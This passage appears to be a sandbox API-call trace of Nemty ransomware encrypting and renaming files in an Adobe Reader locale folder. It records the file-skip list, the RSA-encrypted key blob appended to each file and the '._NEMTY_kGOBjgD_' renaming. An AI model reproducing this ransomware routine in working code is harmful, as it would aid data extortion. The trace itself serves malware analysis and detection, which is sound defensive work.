dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.792] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0177.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0177.793] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.793] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0177.795] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.795] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0177.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.795] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0177.795] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.795] CloseHandle (hObject=0x2e8) returned 1 [0177.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.795] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Spelling.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\spelling.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Spelling.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\spelling.hrv._nemty_kgobjgd_")) returned 1 [0177.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.796] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Updater.HRV", cAlternateFileName="")) returned 1 [0177.796] lstrcmpiW (lpString1="Updater.HRV", lpString2=".") returned 1 [0177.796] lstrcmpiW (lpString1="Updater.HRV", lpString2="..") returned 1 [0177.796] lstrcmpiW (lpString1="Updater.HRV", lpString2="...") returned 1 [0177.796] lstrcmpiW (lpString1="Updater.HRV", lpString2="windows") returned -1 [0177.796] lstrcmpiW (lpString1="Updater.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.796] lstrcmpiW (lpString1="Updater.HRV", lpString2="rsa") returned 1 [0177.796] lstrcmpiW (lpString1="Updater.HRV", lpString2="NTDETECT.COM") returned 1 [0177.796] lstrcmpiW (lpString1="Updater.HRV", lpString2="ntldr") returned 1 [0177.796] lstrcmpiW (lpString1="Updater.HRV", lpString2="MSDOS.SYS") returned 1 [0177.796] lstrcmpiW (lpString1="Updater.HRV", lpString2="IO.SYS") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="boot.ini") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="boot.ini") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="ntuser.dat") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="desktop.ini") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="CONFIG.SYS") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="RECYCLER") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="bootmgr") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="programdata") returned 1 [0177.797] lstrcmpiW (lpString1="Updater.HRV", lpString2="appdata") returned 1 [0177.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.HRV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.HRV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.HRV", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.797] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.HRV", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.797] Sleep (dwMilliseconds=0x5) [0177.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1da0bcf0, dwHighDateTime=0x1d561e8)) [0177.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1da0bcf0, dwHighDateTime=0x1d561e8)) [0177.806] GetLastError () returned 0x0 [0177.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.807] GetLastError () returned 0x0 [0177.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.807] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.807] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.807] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.807] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="jSgnjEgl4D2tMMbmxCo5aExU+RsbbC3YHep4UnrDG5eI8STVsoEp7V9pKKdbwL5q\r\nZv7JHtXZMrm/39MuCjE9dGRoUmdQ7YT1p6lcKGgBgep1MNIaPVWEQqa0qv8yfevL\r\nJGkEUuPG0+y8YFWgkCKmGm5v7egzxEd398dENY9AoAgy2GmpUijIOcZVcrPGrreK\r\nK7o8Ccf2EkTPaXCy842moLi9QS5B8YFvu+cUdRaVQe2AHMHD+GhGbLtq5QbhumuX\r\nYEYI8dTtRqTJFwcbpWwOXA9h9Zt+pgLI6tXl19qRLm15nGE/RZw3Q9X02wdKO8oo\r\nvPvEy6LyQFamQO9hBsqhjg==\r\n", pcchString=0x653e5dc) returned 1 [0177.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Updater.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\updater.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.807] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0177.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0177.808] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.808] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0177.810] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.810] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0177.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.810] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0177.810] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.810] CloseHandle (hObject=0x2e8) returned 1 [0177.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.811] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Updater.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\updater.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Updater.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\updater.hrv._nemty_kgobjgd_")) returned 1 [0177.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.811] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.HRV", cAlternateFileName="")) returned 1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2=".") returned 1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2="..") returned 1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2="...") returned 1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2="windows") returned -1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2="rsa") returned 1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2="NTDETECT.COM") returned 1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2="ntldr") returned 1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2="MSDOS.SYS") returned 1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2="IO.SYS") returned 1 [0177.811] lstrcmpiW (lpString1="Weblink.HRV", lpString2="boot.ini") returned 1 [0177.812] lstrcmpiW (lpString1="Weblink.HRV", lpString2="boot.ini") returned 1 [0177.812] lstrcmpiW (lpString1="Weblink.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.812] lstrcmpiW (lpString1="Weblink.HRV", lpString2="ntuser.dat") returned 1 [0177.812] lstrcmpiW (lpString1="Weblink.HRV", lpString2="desktop.ini") returned 1 [0177.812] lstrcmpiW (lpString1="Weblink.HRV", lpString2="CONFIG.SYS") returned 1 [0177.812] lstrcmpiW (lpString1="Weblink.HRV", lpString2="RECYCLER") returned 1 [0177.812] lstrcmpiW (lpString1="Weblink.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.812] lstrcmpiW (lpString1="Weblink.HRV", lpString2="bootmgr") returned 1 [0177.812] lstrcmpiW (lpString1="Weblink.HRV", lpString2="programdata") returned 1 [0177.812] lstrcmpiW (lpString1="Weblink.HRV", lpString2="appdata") returned 1 [0177.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.HRV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.HRV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.HRV", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.HRV", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.812] Sleep (dwMilliseconds=0x5) [0177.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1da31e50, dwHighDateTime=0x1d561e8)) [0177.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1da31e50, dwHighDateTime=0x1d561e8)) [0177.822] GetLastError () returned 0x0 [0177.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.822] GetLastError () returned 0x0 [0177.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.822] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.822] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.823] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.823] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="4k893aHhLduL3c4NYgnt6xCCiJDQm4jMeVHISeIESbs88Q7dur+cfhf6xAaV7uLc\r\nne79YRVD91u9beIzcBB+DwAuoIAi1an1E6tlohamyKYlIYhc/1gjRdjTgEJ8lX5i\r\noJwHmyQFqVZ1bhu83u7zYNwC+ilM4MY8sF1ADC49Cq9NMf8N6xtp5jFw0zMJddDB\r\nXF0mXp20zASmUIoDE0FNxLPMQcN8YrHqJL/PxSbeUb6J1k3+sEjDyoYVCX3F3sMA\r\nan6opvY3jW0tvbC2MFE2KjVWR21TW4yrDo+4rlvwgISrXOTIqfpg6XSTxN21tswf\r\nndOam77EOqo3ZHvJEV9QWQ==\r\n", pcchString=0x653e5dc) returned 1 